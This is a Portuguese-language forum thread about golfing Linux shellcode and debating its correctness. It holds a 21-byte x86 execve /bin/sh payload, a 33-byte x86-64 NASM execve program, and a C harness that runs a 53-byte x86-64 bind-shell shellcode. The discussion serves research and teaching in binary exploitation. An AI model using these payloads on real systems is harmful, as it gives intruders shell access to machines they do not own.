geyslan Posted August 17, 2018 Posted August 17, 2018 (edited) Olá pessoal, Estive vendo os vídeos do canal, que por sinal são muito bons, e a saudade bateu. E ao reler umas coisas que criei me deparei com meu xodó (ego on) de 21 bytes. "\x31\xC9\xF7\xE1\xB0\x0B\x51\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\xCD\x80" 31 c9 xor ecx,ecx f7 e1 mul ecx b0 0b mov al,0xb 51 push ecx 68 2f 2f 73 68 push 0x68732f2f 68 2f 62 69 6e push 0x6e69622f 89 e3 mov ebx,esp cd 80 int 0x80 O que ele faz? Chama a syscall execve("/bin//sh", NULL, NULL) mas antes disso trata todos os registers para evitar erro em qualquer ambiente, ou seja, retira o garbage deles. Para garantir isso eu até sujo os registers antes de chamar o shellcode. __asm__ ("movl $0xffffffff, %eax\n\t" "movl %eax, %ebx\n\t" "movl %eax, %ecx\n\t" "movl %eax, %edx\n\t" "movl %eax, %esi\n\t" "movl %eax, %edi\n\t" "movl %eax, %ebp\n\t" // Calling the shellcode "call shellcode"); Vim trocando ideia com um amigo que brinca com reverse também e até o momento a gente não conseguiu reduzir nem que seja um byte desse shellcode. Já tentei usando a abordagem do cdq, mas em vão; acaba sempre nos 21 bytes. xor eax, eax cdq Então, gostaria de lançar o desafio aos membros do fórum! Será que conseguimos reduzir ele, nem que seja apenas 1 byte, mantendo as propriedades de funcionamento? Valeu! ? P.S.: Para ter uma ideia da abordagem que segui quando enxuguei ele até os 21 bytes ver http://hackingbits.github.io/blog/o-menor-do-mundo-yeah-so-beat-bits/ Edited August 17, 2018 by geyslan 1 Quote
geyslan Posted July 4, 2022 Author Posted July 4, 2022 Olá, pessoal. Faz um tempo, mas gostaria de atualizá-los sobre o tema: https://sol.sbc.org.br/index.php/sbseg_estendido/article/view/17352 Valeu! 1 Quote
fredericopissarra Posted July 5, 2022 Posted July 5, 2022 (edited) Uma abordagem interessante, mas há alguns "erros"... O primeiro é que a syscall execve() espera que o segundo argumento seja a lista argv incluindo argv[0]... Passar NULL para args pode funcionar, mas está fora do padrão. Segundo, no modo x86-64 esse macete dos dois pushes com literais não funcionará... E note que você está empurrando "\bin\\sh" (com essas duas barras no meio", quando poderia empurrar "\bin\sh\0" (8 bytes), embora esteja empurrando um zero antes para garantir o fim da string. No caso, se tentar fazer: push `\sh\0` push `/bin` No modo x86 isso gerará a string, na pilha: "\bin",0,0,0,0,"\sh\0",0,0,0,0. PUSH com um imediato de 64 bits não existe na ISA. Terceiro, execve() pode falhar... dependendo de como a chamada será feita, o programa crasha (aliás, você não quis dizer jmp shellcode ao invés de um call, acima? Se execve() falhar seu processo provavelmente crasha (não tem um ret)...). O meu desafio para vocês é fazer um código executável menor que esses 33 bytes (de código, não de imagem binária) para o modo x86-64: ; test.asm (NASM) ; ; nasm -felf64 -o test.o test.asm ; ld -s -o test test.o ; bits 64 default rel ; Usando endereços relativos ao RIP. ; código fica "position independent". ; ESSE é o default da SysV ABI. global _start _start: lea rdi,[sh] ; Calculo do endereço efetivo para deixar ; o código "PIC" (ou PIE). ; PUSH sh/POP rdi usa 1 byte a menos, mas ; perderíamos o PIC/PIE. xor edx,edx ; envp = NULL; push rdx ; argv[1] = NULL; push rdi ; argv[0] = "/bin/sh"; ; mov rsi,rsp push rsp pop rsi ; rsi = &argv. ; sys_execve espera, como argumentos: ; int execve( const char *path, char **argv, char **envp ); ; Por padrão argv[0] deve ser o mesmo ponteiro path. ; mov eax,59 push byte 59 ; mov eax,sys_execve (5 bytes) - push/pop (2 bytes) pop rax syscall ; SE execve falhar, sai do processo mov edi,eax ; mov eax,60 push byte 60 ; mov eax,sys_exit pop rax ; syscall sh: db `/bin/sh\0` []s Fred Edited July 5, 2022 by fredericopissarra Quote
geyslan Posted July 5, 2022 Author Posted July 5, 2022 Olá, Fred, beleza? Vamos analisar com foco no tema principal da pesquisa: shellcodes reduzidos que mantêm o comportamento no ambiente Linux. Quote Uma abordagem interessante, mas há alguns "erros"... O primeiro é que a syscall execve() espera que o segundo argumento seja a lista argv incluindo argv[0]... Passar NULL para args pode funcionar, mas está fora do padrão. Nas referências do artigo temos: https://man7.org/linux/man-pages/man2/execve.2.html On Linux, argv and envp can be specified as NULL. In both cases, this has the same effect as specifying the argument as a pointer to a list containing a single null pointer. Do not take advantage of this nonstandard and nonportable misfeature! On many other UNIX systems, specifying argv as NULL will result in an error (EFAULT). Some other UNIX systems treat the envp==NULL case the same as Linux. https://git.kernel.org/pub/scm/docs/man-pages/man-pages.git/commit/man2/execve.2?id=456960740c5b50c3a6a1c9539fd4d8851e2eb885 Add text noting that Linux allows 'argv' and 'envp' to be NULL, but warning that this is non-standard and non-portable, and should be avoided in portable programs. Bug filed (http://bugzilla.kernel.org/show_bug.cgi?id=8408) to get this changed, but maybe that won't be done because it is an ABI change. Por razões históricas o Linux Kernel não trata argv e envp nulos como erro, em ambos os casos trata-os como um ponteiros para uma lista contendo um null pointer. Contudo, o manual da syscall adverte para não os usar dessa forma por questões de compatibilidade. Tais fatos não transformam o uso funcional do execve com argv e envp NULL um erro, apenas não recomendados para ambientes de produção em geral. Lembremos mais uma vez: a pesquisa não se preocupa com ambiente de produção, ela é focada em estudo de cybersecurity com o tema shellcodes (exploração de binário). Quote Segundo, no modo x86-64 esse macete dos dois pushes com literais não funcionará... Aqui também não se trata de um erro pois a análise se encontra no item 3.1. execve x86. A análise de redução na arquitetura 64 bits está localizada em 3.2. TCP bind shell x86-64. Quote Terceiro, execve() pode falhar... dependendo de como a chamada será feita, o programa crasha (aliás, você não quis dizer jmp shellcode ao invés de um call, acima? Se execve() falhar seu processo provavelmente crasha (não tem um ret)...). Em verdade, qualquer chamada a execve() pode falhar a depender de como ela é construída. Não considero isso um erro, uma vez que a chamada dos shellcodes foram explicitamente construídas. Sobre o jmp e/ou call, não sei a que shellcode se refere. Poderia referenciar? Valeu pela análise e atenção. Quote
fredericopissarra Posted July 5, 2022 Posted July 5, 2022 (edited) 1 hora atrás, geyslan disse: Em verdade, qualquer chamada a execve() pode falhar a depender de como ela é construída. Não considero isso um erro, uma vez que a chamada dos shellcodes foram explicitamente construídas. Sobre o jmp e/ou call, não sei a que shellcode se refere. Poderia referenciar? A essa aqui, no seu texto: ; "\x31\xC9\xF7\xE1\xB0\x0B\x51\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\xCD\x80" 31 c9 xor ecx,ecx f7 e1 mul ecx b0 0b mov al,0xb 51 push ecx 68 2f 2f 73 68 push 0x68732f2f 68 2f 62 69 6e push 0x6e69622f 89 e3 mov ebx,esp cd 80 int 0x80 Obviamente isso assume que `execve` não falhará (cadê o `ret` depois do `int 0x80`?) e você dá um exemplo de uso: __asm__ ("movl $0xffffffff, %eax\n\t" "movl %eax, %ebx\n\t" "movl %eax, %ecx\n\t" "movl %eax, %edx\n\t" "movl %eax, %esi\n\t" "movl %eax, %edi\n\t" "movl %eax, %ebp\n\t" // Calling the shellcode "call shellcode"); É desse call que estou falando... E há outro aspecto a ser considerado... Na SysV ABI, EBX (ou RBX no modo x86-64) tem que ser preservado entre chamadas... Esse mov ebx,esp altera EBX sem preservá-lo, o que levará (possivelmente, se execve falhar e se tivéssemos um ret ali no final) o código chamador a se comportar de forma errática... Seu shellcode deveria preservar EBX. Edited July 5, 2022 by fredericopissarra Quote
fredericopissarra Posted July 5, 2022 Posted July 5, 2022 (edited) Sorry... editado errado... Edited July 5, 2022 by fredericopissarra Quote
geyslan Posted July 5, 2022 Author Posted July 5, 2022 Ahh, pensei que estava falando sobre o artigo. Sobre o código da thread original, essa forma de chamar aí não funciona nos ambientes atuais. Funcionava por volta da época que criei o exemplo. Mas o kernel mudou, o gcc mudou etc. Já trocamos ideia sobre isso no Discord, não se recorda? Tanto da forma de chamar o shellcode como da indiferença acerca do retornar dele. Ida sem volta. Vai ou racha. Pei, bufe. ? Não encontrei suas mensagens no Discord, acho que foram excluídas, mas o bate papo iniciou em 2021 aqui: https://discord.com/channels/395582581124497408/704353852098609269/800000266333061120 E este seria um código de chamada funcional para hoje (não rodem sem antes ver que bytecodes code contém): int main(void) { const char code[] = "\x6a\x29\x58\x99\x52\x5e\xff\xc6\x6a\x02" "\x5f\x0f\x05\x52\x5e\x97\xb0\x32\x0f\x05" "\xb0\x2b\x0f\x05\x57\x5e\x97\xff\xce\xb0" "\x21\x0f\x05\x75\xf8\x52\x48\xbf\x2f\x2f" "\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\xb0" "\x3b\x0f\x05"; // When contains null bytes, printf will show a wrong shellcode length. printf("Shellcode Length: %ld\n", strlen(code)); // Pollutes all registers ensuring that the shellcode runs in any // circumstance. __asm__("lea %[code], %%r15\n\t" "mov $0xffffffffffffffff, %%rax\n\t" "mov %%rax, %%rbx\n\t" "mov %%rax, %%rcx\n\t" "mov %%rax, %%rdx\n\t" "mov %%rax, %%rsi\n\t" "mov %%rax, %%rdi\n\t" "mov %%rax, %%rbp\n\t" "call *%%r15\n\t" : /* no outputs */ : [code] "m"(code)); } Valeu! Quote
fredericopissarra Posted July 5, 2022 Posted July 5, 2022 Eu vi o que o "code" contém... e ele contém um monte de erros. Você assume que syscall vai manter o conteúdo dos registradores e não é isso o que acontece (se acontece é por sorte!). []s Fred Quote
geyslan Posted July 5, 2022 Author Posted July 5, 2022 Troca de ideia aconteceu também no Discord, para os interessados: https://discord.com/channels/395582581124497408/704356516995661886/993882399618388088 Quote
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.